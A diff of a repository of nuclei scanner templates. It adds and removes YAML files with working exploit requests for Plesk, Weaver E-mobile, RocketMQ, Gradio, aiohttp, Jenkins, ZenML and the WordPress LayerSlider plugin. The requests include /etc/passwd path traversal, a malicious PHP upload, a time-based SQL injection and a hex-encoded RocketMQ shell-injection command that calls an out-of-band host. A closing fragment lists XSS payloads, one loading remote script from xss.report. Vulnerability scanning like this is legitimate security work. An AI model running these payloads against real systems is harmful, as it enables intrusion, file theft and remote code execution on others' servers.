vendor: plesk + product: obsidian + shodan-query: title:"Plesk Obsidian" + fofa-query: title="Plesk Obsidian" + tags: cve2023,cve,header,injection,plesk,obsidian + +http: + - method: GET + path: + - "{{BaseURL}}/login.php" + + headers: + Host: "evil.com" + + matchers-condition: and + matchers: + - type: word + part: location + words: + - 'https://evil.com/login_up.php' + + - type: status + status: + - 303 +# digest: 4a0a00473045022069dc022651b4fb9af6a01bd55d548680f03edd9debffa187316d1b018f1209cc022100c92c5328721c039369314c3c7035951e413c56f1862f781e9d73bac65cfa6719:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/cve-2023-2523.yaml b/nuclei-templates/CVE-2023/cve-2023-2523.yaml new file mode 100644 index 0000000000..4b2a6d7baf --- /dev/null +++ b/nuclei-templates/CVE-2023/cve-2023-2523.yaml @@ -0,0 +1,32 @@ +id: cve-2023-2523 +info: + name: cve-2023-2523 + author: weehhd + severity: high + description: https://blog.csdn.net/qq_41904294/article/details/130832416 + reference: + - https:// + tags: tags +http: + - raw: + - "POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1\nHost:\ + \ {{Hostname}}\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows\ + \ NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0\ + \ Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n\ + Accept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7\n\ + Cookie: PHPSESSID=c4a1f7ccafd44c06a73b00c0149d2f54\nConnection: close\nContent-Type:multipart/form-data;\ + \ boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt \nContent-Length: 344\n\n\ + ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt\nContent-Disposition:form-data; name=\"\ + upload_quwan\"; filename=\"1.php.\"\nContent-Type:image/jpeg\n\n\n\ + ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt\nContent-Disposition:form-data; name=\"\ + file\"; filename=\"\"\nContent-Type:application/octet-stream\n\n\n------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--" + matchers-condition: and + matchers: + - type: word + part: body + words: + - 1.php + - type: word + part: header + words: + - HTTP/1.1 200 OK diff --git a/nuclei-templates/CVE-2023/cve-2023-33246.yaml b/nuclei-templates/CVE-2023/cve-2023-33246.yaml deleted file mode 100644 index 9dcedde472..0000000000 --- a/nuclei-templates/CVE-2023/cve-2023-33246.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2023-33246 - -info: - name: RocketMQ <= 5.1.0 - Remote Code Execution - author: iamnoooob,rootxharsh,pdresearch - severity: critical - description: | - For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x . - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. - remediation: Update the RocketMQ application to version 5.1.1 - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2023-33246 - - https://github.com/I5N0rth/CVE-2023-33246 - - http://packetstormsecurity.com/files/173339/Apache-RocketMQ-5.1.0-Arbitrary-Code-Injection.html - - http://www.openwall.com/lists/oss-security/2023/07/12/1 - - https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2023-33246 - cwe-id: CWE-94 - cpe: cpe:2.3:a:apache:rocketmq:*:*:*:*:*:*:*:* - epss-score: 0.95581 - metadata: - fofa-query: protocol="rocketmq" - max-request: 1 - product: rocketmq - shodan-query: title:"RocketMQ" - vendor: apache - verified: true - tags: network,cve2023,cve,rocketmq,rce,oast,intrusive,apache -variables: - part_a: '{{ hex_decode ("000000d2000000607b22636f6465223a32352c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3339357d66696c7465725365727665724e756d733d310a726f636b65746d71486f6d653d2d632024407c7368202e206563686f206375726c20") }}' - part_b: '{{ hex_decode("3b0a") }}' -tcp: - - host: - - "{{Hostname}}" - port: 10911 - - inputs: - - data: '{{ part_a + "{{interactsh-url}}" + "/////////////" + part_b }}' - read: 1024 - read-size: 4 - matchers: - - type: dsl - dsl: - - contains(raw,'serializeTypeCurrentRPC') - - contains(interactsh_protocol,'dns') - condition: and -# digest: 4b0a00483046022100e0af9801d2c98178583d5c498c7a7d2867ea03929224d4f39369d99d32e25fd30221008d8ae25072043df87c3945421946121802b131f4b367841560c0c83c4ce11239:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-1207.yaml b/nuclei-templates/CVE-2024/CVE-2024-1207.yaml new file mode 100644 index 0000000000..12aedaaf1f --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-1207.yaml @@ -0,0 +1,58 @@ +id: CVE-2024-1207 + +info: + name: > + Booking Calendar <= 9.9 - Unauthenticated SQL Injection + author: topscoder + severity: critical + description: > + The WP Booking Calendar plugin for WordPress is vulnerable to SQL Injection via the 'calendar_request_params[dates_ddmmyy_csv]' parameter in all versions up to, and including, 9.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + reference: + - https://www.wordfence.com/threat-intel/vulnerabilities/id/7802ed1f-138c-4a3d-916c-80fb4f7699b2?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2024-1207 + metadata: + fofa-query: "wp-content/plugins/booking/" + google-query: inurl:"/wp-content/plugins/booking/" + shodan-query: 'vuln:CVE-2024-1207' + tags: cve,wordpress,wp-plugin,booking,critical + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/booking/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "booking" + part: body + + - type: dsl + dsl: + - compare_versions(version, '< 9.9') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-1561.yaml b/nuclei-templates/CVE-2024/CVE-2024-1561.yaml new file mode 100644 index 0000000000..47e8ac9ba2 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-1561.yaml @@ -0,0 +1,82 @@ +id: CVE-2024-1561 + +info: + name: CVE-2024-1561 + author: Diablo + description: | + Local file read by calling arbitrary methods of Components class + severity: HIGH + + impact: | + Successful exploitation of this vulnerability could allow an attacker to read files on the server + + remediation: | + Update to Gradio 4.13.0 + + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2024-1561 + + reference: + - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338 + - https://github.com/DiabloHTB/CVE-2024-1561 + - https://nvd.nist.gov/vuln/detail/CVE-2024-1561 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1561 + + metadata: + max-request: 1 + vendor: Gradio + product: https://github.com/gradio-app/gradio + tags: cve,cve2024,intrusive,unauth,gradio,path-traversal + + +http: + - raw: + - | + GET /config HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: json + name: first-component + part: body + group: 1 + json: + - '.components[0].id' + internal: true + + - raw: + - | + POST /component_server HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"component_id": "{{first-component}}", + "data": "/etc/passwd", + "fn_name": "move_resource_to_block_cache", + "session_hash": "aaaaaaaaaaa"} + + extractors: + - type: regex + name: tmpath + regex: + - "/(?P[a-fA-F0-9]+)/" + internal: true + + + - raw: + - | + GET /file=/tmp/gradio{{tmpath}}passwd HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: regex + regex: + - "root:[x*]:0:0:" + part: body + + + + + \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-23334.yaml b/nuclei-templates/CVE-2024/CVE-2024-23334.yaml new file mode 100644 index 0000000000..3f519c6317 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-23334.yaml @@ -0,0 +1,30 @@ +id: CVE-2024-23334 +info: + name: aiohttp + author: weehhd + severity: medium + description: aiohttp路径遍历漏洞(CVE-2024-23334) + reference: + - https:// + tags: tags +http: + - raw: + - |+ + GET /static/../../../../../../etc/passwd HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 + Accept: */* + Accept-Encoding: gzip, deflate, br + Accept-Language: zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7 + Connection: close + + matchers-condition: and + matchers: + - type: word + part: body + words: + - root + - type: word + part: header + words: + - 200 OK diff --git a/nuclei-templates/CVE-2024/CVE-2024-23897.yaml b/nuclei-templates/CVE-2024/CVE-2024-23897.yaml deleted file mode 100644 index 62a1aba442..0000000000 --- a/nuclei-templates/CVE-2024/CVE-2024-23897.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2024-23897 - -info: - name: Jenkins < 2.441 - Arbitrary File Read - author: iamnoooob,rootxharsh,pdresearch - severity: high - description: | - Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system. - reference: - - https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314 - - https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/ - - https://github.com/Mr-xn/Penetration_Testing_POC - - https://github.com/forsaken0127/CVE-2024-23897 - - https://github.com/nomi-sec/PoC-in-GitHub - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2024-23897 - epss-score: 0.41536 - epss-percentile: 0.97188 - cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:* - metadata: - verified: true - max-request: 1 - vendor: jenkins - product: jenkins - shodan-query: "product:\"Jenkins\"" - tags: cve,cve2024,lfi,rce,jenkins -variables: - payload: "{{hex_decode('0000000e00000c636f6e6e6563742d6e6f64650000000e00000c402f6574632f706173737764000000070200055554462d3800000007010005656e5f41450000000003')}}" - -javascript: - - code: | - let m = require('nuclei/net'); - let name=(Host.includes(':') ? Host : Host+":80"); - let conn,conn2; - try { conn = m.OpenTLS('tcp', name) } catch { conn= m.Open('tcp', name)} - conn.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: download\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n'); - try { conn2 = m.OpenTLS('tcp', name) } catch { conn2= m.Open('tcp', name)} - conn2.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nContent-type: application/octet-stream\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: upload\r\nConnection: keep-alive\r\nContent-Length: 163\r\n\r\n'+Body) - resp = conn.RecvString(1000) - args: - Body: "{{payload}}" - Host: "{{Hostname}}" - - matchers: - - type: dsl - dsl: - - 'contains(response, "No such agent \"")' - - extractors: - - type: regex - group: 1 - regex: - - '\b([a-z_][a-z0-9_-]{0,31})\:x\:' -# digest: 4b0a00483046022100a22e0bf486c5362bd7b22a4d814691dcb9318a631e13e7cf7086dd922feb4dd4022100cfacc9f72ee0cf45347e0c8c97dc2b5c6f95028b6f5cc3a68a506f4d3d4c7964:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2024/CVE-2024-25723.yaml b/nuclei-templates/CVE-2024/CVE-2024-25723.yaml deleted file mode 100644 index 7c2bea8be1..0000000000 --- a/nuclei-templates/CVE-2024/CVE-2024-25723.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2024-25723 -info: - name: Zenml Improper Access Control - author: VulnSphere - severity: high - description: "ZenML Server in the ZenML machine learning package before 0.46.7 for Python allows remote privilege escalation because the /api/v1/users/{user_name_or_id}/activate REST API endpoint allows access on the basis of a valid username along with a new password in the request body. These are also patched versions: 0.44.4, 0.43.1, and 0.42.2." - reference: - - https://github.com/zenml-io/zenml - - https://github.com/zenml-io/zenml/compare/0.42.1...0.42.2 - - https://github.com/zenml-io/zenml/compare/0.43.0...0.43.1 - - https://github.com/zenml-io/zenml/compare/0.44.3...0.44.4 - - https://www.zenml.io/blog/critical-security-update-for-zenml-users - classification: - epss-score: 0.00045 - epss-percentile: 0.13033 - tags: intrusive - - -http: - - raw: - - | - POST /api/v1/login HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/x-www-form-urlencoded - Referer: {{Hostname}}/login?route=%2Fworkspaces%2Fdefault%3F - - password&username=default - - - | - PUT /api/v1/users/{{randstr}} HTTP/1.1 - Host: {{Hostname}} - Content-Type: "application/json;charset=utf-8" - Source-Context: "dashboard" - Referer: {{BaseURL}}/settings/organization - Cookie: zenml-server-7205f7d5-08e1-4829-995b-16d56f6695d9={{token}} - - {"password":"a"} - - extractors: - - type: kval - internal: true - kval: - - set_cookie #Note that kval extractor does not accept dash (-) as input and must be substituted with underscore (_). - - - matchers-condition: and - matchers: - - type: word - words: - - '"permission_denied":false' - - '"created"' - - '"updated' - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2024/CVE-2024-2879.yaml b/nuclei-templates/CVE-2024/CVE-2024-2879.yaml new file mode 100644 index 0000000000..27dc05462e --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-2879.yaml @@ -0,0 +1,55 @@ +id: CVE-2024-2879 + +info: + name: WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection + author: d4ly + severity: critical + description: | + The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + remediation: Fixed in 7.10.1 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2024-2879 + - https://www.securityblue.team/blog/posts/Critical-Vulnerability-in-WordPress-Plugin-LayerSlider + - https://www.wordfence.com/blog/2024/04/5500-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-layerslider-wordpress-plugin/ + - https://layerslider.com/release-log/ + - https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2024-2879 + cwe-id: CWE-89 + epss-score: 0.00043 + epss-percentile: 0.07687 + metadata: + verified: true + max-request: 2 + publicwww-query: "/wp-content/plugins/LayerSlider/" + tags: cve,cve2024,wp-plugin,wp,wordpress,layerslider,sqli + +flow: http(1) && http(2) + +http: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css" + + matchers: + - type: word + internal: true + words: + - ".ls-clearfix:before" + + - raw: + - | + @timeout: 10s + GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+x) HTTP/1.1' + Host: {{Hostname}} + + matchers: + - type: dsl + dsl: + - duration>=6 + - status_code == 200 + - contains(body, "' + - '">' + - 'javascript:eval("var a=document.createElement(\"script\");a.src=\"//xss.report/s/shelled\";document.body.appendChild(a)")' + - '">' + - '">